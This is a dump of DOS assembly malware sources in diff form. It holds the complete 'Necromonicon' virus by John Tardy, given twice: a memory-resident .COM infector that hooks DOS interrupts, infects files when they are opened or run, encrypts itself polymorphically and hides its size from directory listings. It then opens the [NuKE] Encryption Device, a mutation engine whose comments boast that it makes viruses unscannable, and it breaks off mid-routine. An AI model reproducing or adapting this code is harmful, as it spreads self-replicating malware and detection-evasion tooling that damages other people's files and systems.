db 0fh,0ffh,inter
|
||||
endm brkem
|
||||
|
||||
retem macro
|
||||
db 0edh,0fdh
|
||||
endm retem
|
||||
|
||||
int86 macro oper8
|
||||
db 0edh,0edh
|
||||
db oper8
|
||||
endm
|
||||
|
||||
int21h macro _ax,_cx,_dx
|
||||
|
||||
_lxi_b _ax
|
||||
_push_b
|
||||
_lxi_b _cx
|
||||
_push_b
|
||||
_lxi_b _dx
|
||||
_push_b
|
||||
int86 88h
|
||||
|
||||
endm
|
||||
|
||||
; (c) by Reminder [DVC]
|
||||
|
|
@ -0,0 +1,417 @@
|
|||
;
|
||||
; Necromonicon Virus by John Tardy
|
||||
;
|
||||
|
||||
Org 0h
|
||||
|
||||
decr: jmp Crypt
|
||||
db 'Carcass'
|
||||
Loopje DB 0e2h
|
||||
db 0fah
|
||||
DecrLen Equ $-Decr
|
||||
|
||||
Crypt: Push Ax
|
||||
call Get_Ofs
|
||||
Get_Ofs: pop Bp
|
||||
sub Bp,Get_Ofs
|
||||
Mov Ax,0DEADh
|
||||
Int 21h
|
||||
Cmp Ax,0AAAAh
|
||||
Je Installed
|
||||
|
||||
mov ax,3521h
|
||||
int 21h
|
||||
mov word ptr cs:old21[bp],bx
|
||||
mov word ptr cs:old21[bp][2],es
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0000],'Z'
|
||||
jne installed
|
||||
mov ax,word ptr ds:[0003]
|
||||
sub ax,ParLen
|
||||
jb installed
|
||||
mov word ptr ds:[0003],ax
|
||||
sub word ptr ds:[0012h],ParLen
|
||||
lea si,decr[bp]
|
||||
mov di,0
|
||||
mov es,ds:[12h]
|
||||
mov ds,cs
|
||||
mov cx,virlen
|
||||
cld
|
||||
rep movsb
|
||||
mov ax,2521h
|
||||
mov ds,es
|
||||
mov dx,offset new21
|
||||
int 21h
|
||||
push es
|
||||
Mov Ax,351ch
|
||||
Int 21h
|
||||
Mov Word Ptr OldInt1c[0],Bx
|
||||
Mov Word Ptr OldInt1c[2],Es
|
||||
Mov Ax,251ch
|
||||
Lea Dx,NewInt1c
|
||||
Pop Ds
|
||||
Int 21h
|
||||
|
||||
Installed: Mov Di,100h
|
||||
Lea Si,Org_Prg[Bp]
|
||||
Push Cs
|
||||
Push Cs
|
||||
Pop Ds
|
||||
Pop Es
|
||||
Cld
|
||||
Movsw
|
||||
Movsb
|
||||
Mov Bx,100h
|
||||
Pop Ax
|
||||
Push Bx
|
||||
Ret
|
||||
|
||||
OldInt1c DD 0
|
||||
|
||||
NewInt1c: Pushf
|
||||
Push Ds
|
||||
Push Ax
|
||||
Xor Ax,Ax
|
||||
Push Ax
|
||||
Pop Ds
|
||||
Mov Ax,Word Ptr Ds:[46ch]
|
||||
Dec Word Ptr Ds:[46ch]
|
||||
Dec Word Ptr Ds:[46ch]
|
||||
Cmp Ax,Word Ptr Ds:[46ch]
|
||||
Ja EOI1C
|
||||
Dec Word Ptr Ds:[46eh]
|
||||
EOI1C: Pop Ax
|
||||
Pop Ds
|
||||
Popf
|
||||
Iret
|
||||
|
||||
Old21 dd 0
|
||||
|
||||
New21: cmp ax,0deadh
|
||||
jne chkfunc
|
||||
mov ax,0aaaah
|
||||
mov cx,ax
|
||||
iret
|
||||
chkfunc: cmp ah,11h
|
||||
je findFCBst
|
||||
cmp ah,12h
|
||||
je findfcbst
|
||||
cmp ah,4eh
|
||||
je findst
|
||||
cmp ah,4fh
|
||||
je findst
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
cmp ah,3dh
|
||||
je infectHan
|
||||
cmp ax,4b00h
|
||||
je infectHan
|
||||
cmp ah,41h
|
||||
je infectHan
|
||||
cmp ah,43h
|
||||
je infectHan
|
||||
cmp ah,56h
|
||||
je infectHan
|
||||
cmp ah,0fh
|
||||
je infectFCB
|
||||
cmp ah,23h
|
||||
je infectFCB
|
||||
cmp ah,6ch
|
||||
je infectdos4
|
||||
jmp endint
|
||||
|
||||
findfcbst: jmp findfcb
|
||||
findst: jmp find
|
||||
|
||||
InfectFCB: mov si,dx
|
||||
inc si
|
||||
push cs
|
||||
pop es
|
||||
lea di,fnam
|
||||
mov cx,8
|
||||
rep movsb
|
||||
mov cx,3
|
||||
inc di
|
||||
rep movsb
|
||||
lea dx,fnam
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
InfectHan: mov si,dx
|
||||
mov cx,100h
|
||||
cld
|
||||
findpnt: lodsb
|
||||
cmp al,'.'
|
||||
je chkcom
|
||||
loop findpnt
|
||||
jmp endi
|
||||
|
||||
infectdos4: and dx,0fh
|
||||
cmp dx,1
|
||||
jne endi
|
||||
mov dx,si
|
||||
jmp infecthan
|
||||
|
||||
chkcom: lodsw
|
||||
or ax,2020h
|
||||
cmp ax,'oc'
|
||||
jne endi
|
||||
lodsb
|
||||
or al,20h
|
||||
cmp al,'m'
|
||||
jne endi
|
||||
jmp doitj
|
||||
endi: jmp endint
|
||||
doitj: push dx
|
||||
push ds
|
||||
mov ax,4300h
|
||||
call dos
|
||||
mov cs:fatr,cx
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
call dos
|
||||
mov ax,3d02h
|
||||
call dos
|
||||
jnc getdate
|
||||
jmp error
|
||||
getdate: xchg ax,bx
|
||||
mov ax,5700h
|
||||
call dos
|
||||
mov cs:fdat,cx
|
||||
mov cs:fdat[2],dx
|
||||
and cx,1fh
|
||||
cmp cx,1fh
|
||||
jne chkexe
|
||||
jmp done
|
||||
chkexe: mov ah,3fh
|
||||
push cs
|
||||
pop ds
|
||||
lea dx,Org_prg
|
||||
mov cx,3
|
||||
call dos
|
||||
cmp word ptr cs:Org_prg[0],'ZM'
|
||||
je close
|
||||
cmp word ptr cs:Org_prg[0],'MZ'
|
||||
je close
|
||||
|
||||
Mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos
|
||||
|
||||
sub ax,3
|
||||
mov cs:jump[1],ax
|
||||
|
||||
Add Ax,Offset Crypt+103h
|
||||
Mov S_1[1],Ax
|
||||
Mov S_2[1],Ax
|
||||
Mov S_3[4],Ax
|
||||
Mov S_4[4],Ax
|
||||
Call GenPoly
|
||||
|
||||
mov ah,40h
|
||||
push cs
|
||||
pop ds
|
||||
lea dx,coder
|
||||
mov cx,virlen
|
||||
call dos
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos
|
||||
|
||||
mov ah,40h
|
||||
lea dx,jump
|
||||
mov cx,3
|
||||
call dos
|
||||
|
||||
or cs:fdat,01fh
|
||||
|
||||
close: mov ax,5701h
|
||||
mov cx,cs:fdat
|
||||
mov dx,cs:fdat[2]
|
||||
call dos
|
||||
|
||||
done: mov ah,3eh
|
||||
call dos
|
||||
pop ds
|
||||
pop dx
|
||||
push dx
|
||||
push ds
|
||||
mov ax,4301h
|
||||
mov cx,fatr
|
||||
call dos
|
||||
|
||||
error: pop ds
|
||||
pop dx
|
||||
|
||||
endint: pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr cs:[old21]
|
||||
|
||||
GenPoly: Xor Byte Ptr [Loopje],2
|
||||
Xor Ax,Ax
|
||||
Mov Es,Ax
|
||||
Mov Ax,Es:[46ch]
|
||||
Mov Es,Cs
|
||||
Push Ax
|
||||
And Ax,07ffh
|
||||
Add Ax,CryptLen
|
||||
Mov S_1[4],Ax
|
||||
Mov S_2[4],Ax
|
||||
Mov S_3[1],Ax
|
||||
Mov S_4[1],Ax
|
||||
Doit: Pop Ax
|
||||
Push Ax
|
||||
And Ax,3
|
||||
Shl Ax,1
|
||||
Mov Si,Ax
|
||||
Mov Ax,Word Ptr Table[Si]
|
||||
Mov Si,Ax
|
||||
Lea Di,decr
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Pop Ax
|
||||
Stosb
|
||||
Movsb
|
||||
Mov Dl,Al
|
||||
Lea Si,Decr
|
||||
Lea Di,Coder
|
||||
Mov Cx,DecrLen
|
||||
Rep Movsb
|
||||
Lea Si,Crypt
|
||||
Mov Cx,CryptLen
|
||||
Encrypt: Lodsb
|
||||
Xor Al,Dl
|
||||
Stosb
|
||||
Loop Encrypt
|
||||
Cmp Dl,0
|
||||
Je Fuckit
|
||||
Ret
|
||||
|
||||
FuckIt: Lea Si,Encr0
|
||||
Lea Di,Coder
|
||||
Mov Cx,Encr0Len
|
||||
Rep Movsb
|
||||
Mov Ax,Cs:jump[1]
|
||||
Add Ax,Encr0Len+2
|
||||
Mov Cs:jump[1],Ax
|
||||
Ret
|
||||
|
||||
Table DW Offset S_1
|
||||
DW Offset S_2
|
||||
DW Offset S_3
|
||||
DW Offset S_4
|
||||
|
||||
S_1: Lea Si,0
|
||||
Mov Cx,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_2: Lea Di,0
|
||||
Mov Cx,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
S_3: Mov Cx,0
|
||||
Lea Si,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_4: Mov Cx,0
|
||||
Lea Di,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
|
||||
Db '[ '
|
||||
Encr0 Db 'John Tardy'
|
||||
Encr0Len Equ $-Encr0
|
||||
|
||||
Db ' / Trident'
|
||||
Db ' ]'
|
||||
|
||||
getdta: pop si
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,2fh
|
||||
call dos
|
||||
jmp short si
|
||||
|
||||
FindFCB: call DOS
|
||||
cmp al,0
|
||||
jne Ret1
|
||||
call getdta
|
||||
cmp byte ptr es:[bx],-1
|
||||
jne FCBOk
|
||||
add bx,8
|
||||
FCBOk: mov al,es:[bx+16h]
|
||||
and al,1fh
|
||||
cmp al,1fh
|
||||
jne FileOk
|
||||
sub word ptr es:[bx+1ch],Virlen
|
||||
sbb word ptr es:[bx+1eh],0
|
||||
jmp short Time
|
||||
|
||||
Find: call DOS
|
||||
jc Ret1
|
||||
call getdta
|
||||
mov al,es:[bx+16h]
|
||||
and al,1fh
|
||||
cmp al,1fh
|
||||
jne FileOk
|
||||
sub word ptr es:[bx+1ah],VirLen
|
||||
sbb word ptr es:[bx+1ch],0
|
||||
Time: xor byte ptr es:[bx+16h],10h
|
||||
FileOk: pop es
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
Ret1: retf 2
|
||||
|
||||
Db '| Trapped in a spell of the Necromonicon |'
|
||||
|
||||
dos: pushf
|
||||
call dword ptr cs:[old21]
|
||||
ret
|
||||
|
||||
Org_prg dw 0cd90h
|
||||
db 20h
|
||||
|
||||
fnam db 8 dup (0)
|
||||
db '.'
|
||||
db 3 dup (0)
|
||||
db 0
|
||||
fatr dw 0
|
||||
fdat dw 0,0
|
||||
|
||||
|
||||
jump db 0e9h,0,0
|
||||
|
||||
ResLen Equ ($-Decr)/10h
|
||||
|
||||
ParLen Equ (Reslen*2)+10h
|
||||
|
||||
CryptLen Equ $-Crypt
|
||||
|
||||
VirLen Equ $-Decr
|
||||
|
||||
Coder Equ $
|
|
@ -0,0 +1,417 @@
|
|||
;
|
||||
; Necromonicon Virus by John Tardy
|
||||
;
|
||||
|
||||
Org 0h
|
||||
|
||||
decr: jmp Crypt
|
||||
db 'Carcass'
|
||||
Loopje DB 0e2h
|
||||
db 0fah
|
||||
DecrLen Equ $-Decr
|
||||
|
||||
Crypt: Push Ax
|
||||
call Get_Ofs
|
||||
Get_Ofs: pop Bp
|
||||
sub Bp,Get_Ofs
|
||||
Mov Ax,0DEADh
|
||||
Int 21h
|
||||
Cmp Ax,0AAAAh
|
||||
Je Installed
|
||||
|
||||
mov ax,3521h
|
||||
int 21h
|
||||
mov word ptr cs:old21[bp],bx
|
||||
mov word ptr cs:old21[bp][2],es
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0000],'Z'
|
||||
jne installed
|
||||
mov ax,word ptr ds:[0003]
|
||||
sub ax,ParLen
|
||||
jb installed
|
||||
mov word ptr ds:[0003],ax
|
||||
sub word ptr ds:[0012h],ParLen
|
||||
lea si,decr[bp]
|
||||
mov di,0
|
||||
mov es,ds:[12h]
|
||||
mov ds,cs
|
||||
mov cx,virlen
|
||||
cld
|
||||
rep movsb
|
||||
mov ax,2521h
|
||||
mov ds,es
|
||||
mov dx,offset new21
|
||||
int 21h
|
||||
push es
|
||||
Mov Ax,351ch
|
||||
Int 21h
|
||||
Mov Word Ptr OldInt1c[0],Bx
|
||||
Mov Word Ptr OldInt1c[2],Es
|
||||
Mov Ax,251ch
|
||||
Lea Dx,NewInt1c
|
||||
Pop Ds
|
||||
Int 21h
|
||||
|
||||
Installed: Mov Di,100h
|
||||
Lea Si,Org_Prg[Bp]
|
||||
Push Cs
|
||||
Push Cs
|
||||
Pop Ds
|
||||
Pop Es
|
||||
Cld
|
||||
Movsw
|
||||
Movsb
|
||||
Mov Bx,100h
|
||||
Pop Ax
|
||||
Push Bx
|
||||
Ret
|
||||
|
||||
OldInt1c DD 0
|
||||
|
||||
NewInt1c: Pushf
|
||||
Push Ds
|
||||
Push Ax
|
||||
Xor Ax,Ax
|
||||
Push Ax
|
||||
Pop Ds
|
||||
Mov Ax,Word Ptr Ds:[46ch]
|
||||
Dec Word Ptr Ds:[46ch]
|
||||
Dec Word Ptr Ds:[46ch]
|
||||
Cmp Ax,Word Ptr Ds:[46ch]
|
||||
Ja EOI1C
|
||||
Dec Word Ptr Ds:[46eh]
|
||||
EOI1C: Pop Ax
|
||||
Pop Ds
|
||||
Popf
|
||||
Iret
|
||||
|
||||
Old21 dd 0
|
||||
|
||||
New21: cmp ax,0deadh
|
||||
jne chkfunc
|
||||
mov ax,0aaaah
|
||||
mov cx,ax
|
||||
iret
|
||||
chkfunc: cmp ah,11h
|
||||
je findFCBst
|
||||
cmp ah,12h
|
||||
je findfcbst
|
||||
cmp ah,4eh
|
||||
je findst
|
||||
cmp ah,4fh
|
||||
je findst
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
cmp ah,3dh
|
||||
je infectHan
|
||||
cmp ax,4b00h
|
||||
je infectHan
|
||||
cmp ah,41h
|
||||
je infectHan
|
||||
cmp ah,43h
|
||||
je infectHan
|
||||
cmp ah,56h
|
||||
je infectHan
|
||||
cmp ah,0fh
|
||||
je infectFCB
|
||||
cmp ah,23h
|
||||
je infectFCB
|
||||
cmp ah,6ch
|
||||
je infectdos4
|
||||
jmp endint
|
||||
|
||||
findfcbst: jmp findfcb
|
||||
findst: jmp find
|
||||
|
||||
InfectFCB: mov si,dx
|
||||
inc si
|
||||
push cs
|
||||
pop es
|
||||
lea di,fnam
|
||||
mov cx,8
|
||||
rep movsb
|
||||
mov cx,3
|
||||
inc di
|
||||
rep movsb
|
||||
lea dx,fnam
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
InfectHan: mov si,dx
|
||||
mov cx,100h
|
||||
cld
|
||||
findpnt: lodsb
|
||||
cmp al,'.'
|
||||
je chkcom
|
||||
loop findpnt
|
||||
jmp endi
|
||||
|
||||
infectdos4: and dx,0fh
|
||||
cmp dx,1
|
||||
jne endi
|
||||
mov dx,si
|
||||
jmp infecthan
|
||||
|
||||
chkcom: lodsw
|
||||
or ax,2020h
|
||||
cmp ax,'oc'
|
||||
jne endi
|
||||
lodsb
|
||||
or al,20h
|
||||
cmp al,'m'
|
||||
jne endi
|
||||
jmp doitj
|
||||
endi: jmp endint
|
||||
doitj: push dx
|
||||
push ds
|
||||
mov ax,4300h
|
||||
call dos
|
||||
mov cs:fatr,cx
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
call dos
|
||||
mov ax,3d02h
|
||||
call dos
|
||||
jnc getdate
|
||||
jmp error
|
||||
getdate: xchg ax,bx
|
||||
mov ax,5700h
|
||||
call dos
|
||||
mov cs:fdat,cx
|
||||
mov cs:fdat[2],dx
|
||||
and cx,1fh
|
||||
cmp cx,1fh
|
||||
jne chkexe
|
||||
jmp done
|
||||
chkexe: mov ah,3fh
|
||||
push cs
|
||||
pop ds
|
||||
lea dx,Org_prg
|
||||
mov cx,3
|
||||
call dos
|
||||
cmp word ptr cs:Org_prg[0],'ZM'
|
||||
je close
|
||||
cmp word ptr cs:Org_prg[0],'MZ'
|
||||
je close
|
||||
|
||||
Mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos
|
||||
|
||||
sub ax,3
|
||||
mov cs:jump[1],ax
|
||||
|
||||
Add Ax,Offset Crypt+103h
|
||||
Mov S_1[1],Ax
|
||||
Mov S_2[1],Ax
|
||||
Mov S_3[4],Ax
|
||||
Mov S_4[4],Ax
|
||||
Call GenPoly
|
||||
|
||||
mov ah,40h
|
||||
push cs
|
||||
pop ds
|
||||
lea dx,coder
|
||||
mov cx,virlen
|
||||
call dos
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos
|
||||
|
||||
mov ah,40h
|
||||
lea dx,jump
|
||||
mov cx,3
|
||||
call dos
|
||||
|
||||
or cs:fdat,01fh
|
||||
|
||||
close: mov ax,5701h
|
||||
mov cx,cs:fdat
|
||||
mov dx,cs:fdat[2]
|
||||
call dos
|
||||
|
||||
done: mov ah,3eh
|
||||
call dos
|
||||
pop ds
|
||||
pop dx
|
||||
push dx
|
||||
push ds
|
||||
mov ax,4301h
|
||||
mov cx,fatr
|
||||
call dos
|
||||
|
||||
error: pop ds
|
||||
pop dx
|
||||
|
||||
endint: pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr cs:[old21]
|
||||
|
||||
GenPoly: Xor Byte Ptr [Loopje],2
|
||||
Xor Ax,Ax
|
||||
Mov Es,Ax
|
||||
Mov Ax,Es:[46ch]
|
||||
Mov Es,Cs
|
||||
Push Ax
|
||||
And Ax,07ffh
|
||||
Add Ax,CryptLen
|
||||
Mov S_1[4],Ax
|
||||
Mov S_2[4],Ax
|
||||
Mov S_3[1],Ax
|
||||
Mov S_4[1],Ax
|
||||
Doit: Pop Ax
|
||||
Push Ax
|
||||
And Ax,3
|
||||
Shl Ax,1
|
||||
Mov Si,Ax
|
||||
Mov Ax,Word Ptr Table[Si]
|
||||
Mov Si,Ax
|
||||
Lea Di,decr
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Pop Ax
|
||||
Stosb
|
||||
Movsb
|
||||
Mov Dl,Al
|
||||
Lea Si,Decr
|
||||
Lea Di,Coder
|
||||
Mov Cx,DecrLen
|
||||
Rep Movsb
|
||||
Lea Si,Crypt
|
||||
Mov Cx,CryptLen
|
||||
Encrypt: Lodsb
|
||||
Xor Al,Dl
|
||||
Stosb
|
||||
Loop Encrypt
|
||||
Cmp Dl,0
|
||||
Je Fuckit
|
||||
Ret
|
||||
|
||||
FuckIt: Lea Si,Encr0
|
||||
Lea Di,Coder
|
||||
Mov Cx,Encr0Len
|
||||
Rep Movsb
|
||||
Mov Ax,Cs:jump[1]
|
||||
Add Ax,Encr0Len+2
|
||||
Mov Cs:jump[1],Ax
|
||||
Ret
|
||||
|
||||
Table DW Offset S_1
|
||||
DW Offset S_2
|
||||
DW Offset S_3
|
||||
DW Offset S_4
|
||||
|
||||
S_1: Lea Si,0
|
||||
Mov Cx,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_2: Lea Di,0
|
||||
Mov Cx,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
S_3: Mov Cx,0
|
||||
Lea Si,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_4: Mov Cx,0
|
||||
Lea Di,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
|
||||
Db '[ '
|
||||
Encr0 Db 'John Tardy'
|
||||
Encr0Len Equ $-Encr0
|
||||
|
||||
Db ' / Trident'
|
||||
Db ' ]'
|
||||
|
||||
getdta: pop si
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,2fh
|
||||
call dos
|
||||
jmp short si
|
||||
|
||||
FindFCB: call DOS
|
||||
cmp al,0
|
||||
jne Ret1
|
||||
call getdta
|
||||
cmp byte ptr es:[bx],-1
|
||||
jne FCBOk
|
||||
add bx,8
|
||||
FCBOk: mov al,es:[bx+16h]
|
||||
and al,1fh
|
||||
cmp al,1fh
|
||||
jne FileOk
|
||||
sub word ptr es:[bx+1ch],Virlen
|
||||
sbb word ptr es:[bx+1eh],0
|
||||
jmp short Time
|
||||
|
||||
Find: call DOS
|
||||
jc Ret1
|
||||
call getdta
|
||||
mov al,es:[bx+16h]
|
||||
and al,1fh
|
||||
cmp al,1fh
|
||||
jne FileOk
|
||||
sub word ptr es:[bx+1ah],VirLen
|
||||
sbb word ptr es:[bx+1ch],0
|
||||
Time: xor byte ptr es:[bx+16h],10h
|
||||
FileOk: pop es
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
Ret1: retf 2
|
||||
|
||||
Db '| Trapped in a spell of the Necromonicon |'
|
||||
|
||||
dos: pushf
|
||||
call dword ptr cs:[old21]
|
||||
ret
|
||||
|
||||
Org_prg dw 0cd90h
|
||||
db 20h
|
||||
|
||||
fnam db 8 dup (0)
|
||||
db '.'
|
||||
db 3 dup (0)
|
||||
db 0
|
||||
fatr dw 0
|
||||
fdat dw 0,0
|
||||
|
||||
|
||||
jump db 0e9h,0,0
|
||||
|
||||
ResLen Equ ($-Decr)/10h
|
||||
|
||||
ParLen Equ (Reslen*2)+10h
|
||||
|
||||
CryptLen Equ $-Crypt
|
||||
|
||||
VirLen Equ $-Decr
|
||||
|
||||
Coder Equ $
|
|
@ -0,0 +1,958 @@
|
|||
;******************************************************************************
|
||||
; [NuKE] BETA TEST VERSION -- NOT FOR PUBLIC RELEASE!
|
||||
;
|
||||
; This product is not to be distributed to ANYONE without the complete and
|
||||
; total agreement of both the author(s) and [NuKE]. This applies to all
|
||||
; source code, executable code, documentation, and other files included in
|
||||
; this package.
|
||||
;
|
||||
; Unless otherwise specifically stated, even the mere existance of this
|
||||
; product is not to be mentioned to or discussed in any fashion with ANYONE,
|
||||
; except with the author(s) and/or other [NuKE] members.
|
||||
;
|
||||
; WARNING: This product has been marked in such a way that, if an
|
||||
; unauthorized copy is discovered ANYWHERE, the violation can be easily
|
||||
; traced back to its source, who will be located and punished.
|
||||
; YOU HAVE BEEN WARNED.
|
||||
;******************************************************************************
|
||||
|
||||
|
||||
;*******************************************************************************
|
||||
; The [NuKE] Encryption Device v0.90á
|
||||
;
|
||||
; (C) 1992 Nowhere Man and [NuKE] International Software Development Corp.
|
||||
; All Rights Reserved. Unauthorized use strictly prohibited.
|
||||
;
|
||||
;*******************************************************************************
|
||||
; Written by Nowhere Man
|
||||
; October 18, 1992
|
||||
; Version 0.90á
|
||||
;*******************************************************************************
|
||||
;
|
||||
; Synopsis: The [NuKE] Encryption Device (N.E.D.) is a polymorphic mutation
|
||||
; engine, along the lines of Dark Avenger's now-famous MtE.
|
||||
; Unlike MtE, however, N.E.D. can't be SCANned, and probably will
|
||||
; never be, either, since there is no reliable pattern between
|
||||
; mutations, and the engine itself (and its RNG) are always
|
||||
; kept encrypted.
|
||||
;
|
||||
; N.E.D. is easily be added to a virus. Every infection with
|
||||
; that virus will henceforth be completely different from all
|
||||
; others, and all will be unscannable, thanks to the Cryptex(C)
|
||||
; polymorphic mutation algorithm.
|
||||
;
|
||||
; N.E.D. only adds about 15 or so bytes of decryption code
|
||||
; (probably more, depending on which options are enabled), plus
|
||||
; the 1355 byte overhead needed for the engine itself (about half
|
||||
; the size of MtE!).
|
||||
;*******************************************************************************
|
||||
|
||||
|
||||
;*******************************************************************************
|
||||
; Segment declarations
|
||||
;*******************************************************************************
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
|
||||
;*******************************************************************************
|
||||
; Equates used to save three bytes of code (was it worth it?)
|
||||
;*******************************************************************************
|
||||
|
||||
load_point equ si + _load_point - ned_start
|
||||
encr_instr equ si + _encr_instr - ned_start
|
||||
store_point equ si + _store_point - ned_start
|
||||
|
||||
buf_ptr equ si + _buf_ptr - ned_start
|
||||
copy_len equ si + _copy_len - ned_start
|
||||
copy_off equ si + _copy_off - ned_start
|
||||
v_start equ si + _v_start - ned_start
|
||||
options equ si + _options - ned_start
|
||||
|
||||
byte_word equ si + _byte_word - ned_start
|
||||
up_down equ si + _up_down - ned_start
|
||||
mem_reg equ si + _mem_reg - ned_start
|
||||
loop_reg equ si + _loop_reg - ned_start
|
||||
key_reg equ si + _key_reg - ned_start
|
||||
|
||||
mem_otr equ si + _mem_otr - ned_start
|
||||
used_it equ si + _used_it - ned_start
|
||||
jump_here equ si + _jump_here - ned_start
|
||||
adj_here equ si + _adj_here - ned_start
|
||||
|
||||
word_adj_table equ si + _word_adj_table - ned_start
|
||||
byte_adj_table equ si + _byte_adj_table - ned_start
|
||||
|
||||
the_key equ si + _the_key - ned_start
|
||||
|
||||
crypt_type equ si + _crypt_type - ned_start
|
||||
op_byte equ si + _op_byte - ned_start
|
||||
rev_op_byte equ si + _rev_op_byte - ned_start
|
||||
modr_m equ si + _modr_m - ned_start
|
||||
|
||||
dummy_word_cmd equ si + _dummy_word_cmd - ned_start
|
||||
dummy_three_cmd equ si + _dummy_three_cmd - ned_start
|
||||
|
||||
tmp_jmp_store equ si + _tmp_jmp_store - ned_start
|
||||
jump_table equ si + _jump_table - ned_start
|
||||
|
||||
rand_val equ si + _rand_val - ned_start
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; Publics
|
||||
;******************************************************************************
|
||||
|
||||
public nuke_enc_dev
|
||||
public ned_end
|
||||
|
||||
|
||||
|
||||
;*******************************************************************************
|
||||
; [NuKE] Encryption Device begins here....
|
||||
;*******************************************************************************
|
||||
|
||||
ned_begin label near ; Start of the N.E.D.'s code
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; nuke_enc_dev
|
||||
;
|
||||
; This procedure merely calls ned_main.
|
||||
;
|
||||
; Arguments: Same as ned_main; this is a shell procedure
|
||||
;
|
||||
; Returns: Same as ned_main; this is a shell procedure
|
||||
;******************************************************************************
|
||||
|
||||
nuke_enc_dev proc near
|
||||
public nuke_enc_dev ; Name in .OBJs and .LIBs
|
||||
|
||||
push bx ;
|
||||
push cx ;
|
||||
push dx ; Preserve registers
|
||||
push si ; (except for AX, which is
|
||||
push di ; used to return something)
|
||||
push bp ;
|
||||
|
||||
call ned_main ; Call the [NuKE] Encryption
|
||||
; Device, in all it's splendor
|
||||
|
||||
pop bp ;
|
||||
pop di ;
|
||||
pop si ;
|
||||
pop dx ; Restore registers
|
||||
pop cx ;
|
||||
pop bx ;
|
||||
|
||||
ret ; Return to the main virus
|
||||
|
||||
|
||||
; This the copyright message (hey, I wrote the thing, so I can waste a few
|
||||
; bytes bragging...).
|
||||
|
||||
copyright db 13,10
|
||||
db "[NuKE] Encryption Device v0.90á",13,10
|
||||
db "(C) 1992 Nowhere Man and [NuKE]",13,10,0
|
||||
nuke_enc_dev endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; ned_main
|
||||
;
|
||||
; Fills a buffer with a random decryption routine and encrypted viral code.
|
||||
;
|
||||
; Arguments: AX = offset of buffer to hold data
|
||||
; BX = offset of code start
|
||||
; CX = offset of the virus in memory (next time around!)
|
||||
; DX = length of code to copy and encrypt
|
||||
; SI = options:
|
||||
; bit 0: dummy instructions
|
||||
; bit 1: MOV variance
|
||||
; bit 2: ADD/SUB substitution
|
||||
; bit 3: garbage code
|
||||
; bit 4: don't assume DS = CS
|
||||
; bits 5-15: reserved
|
||||
;
|
||||
; Returns: AX = size of generated decryption routine and encrypted code
|
||||
;******************************************************************************
|
||||
|
||||
ned_main proc near
|
||||
mov di,si ; We'll need SI, so use DI
|
||||
not di ; Reverse all bits for TESTs
|
||||
|
||||
call ned_start ; Ah, the old virus trick
|
||||
ned_start: pop si ; for getting our offset...
|
||||
|
||||
mov word ptr [used_it],0 ; A truely hideous way to
|
||||
mov word ptr [used_it + 2],0; reset the register usage
|
||||
mov word ptr [used_it + 4],0; flags...
|
||||
mov byte ptr [used_it + 6],0;
|
||||
|
||||
add dx,ned_end - ned_begin ; Be sure to encrypt ourself!
|
||||
|
||||
mov word ptr [buf_ptr],ax ; Save the function
|
||||
mov word ptr [copy_off],bx ; arguments in an
|
||||
mov word ptr [v_start],cx ; internal buffer
|
||||
mov word ptr [copy_len],dx ; for later use
|
||||
mov word ptr [options],di ;
|
||||
|
||||
xchg di,ax ; Need the buffer offset in DI
|
||||
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
mov word ptr [byte_word],ax ; Save byte/word flag
|
||||
|
||||
mov ax,2 ; Select another random number
|
||||
call rand_num ; between 0 and 1
|
||||
xor ax,ax ; !!!!DELETE ME!!!!
|
||||
mov word ptr [up_down],ax ; Save up/down flag
|
||||
|
||||
mov ax,4 ; Select a random number
|
||||
call rand_num ; between 0 and 3
|
||||
mov word ptr [mem_reg],ax ; Save memory register
|
||||
xchg bx,ax ; Place in BX for indexing
|
||||
shl bx,1 ; Convert to word index
|
||||
mov bx,word ptr [mem_otr + bx] ; Get register number
|
||||
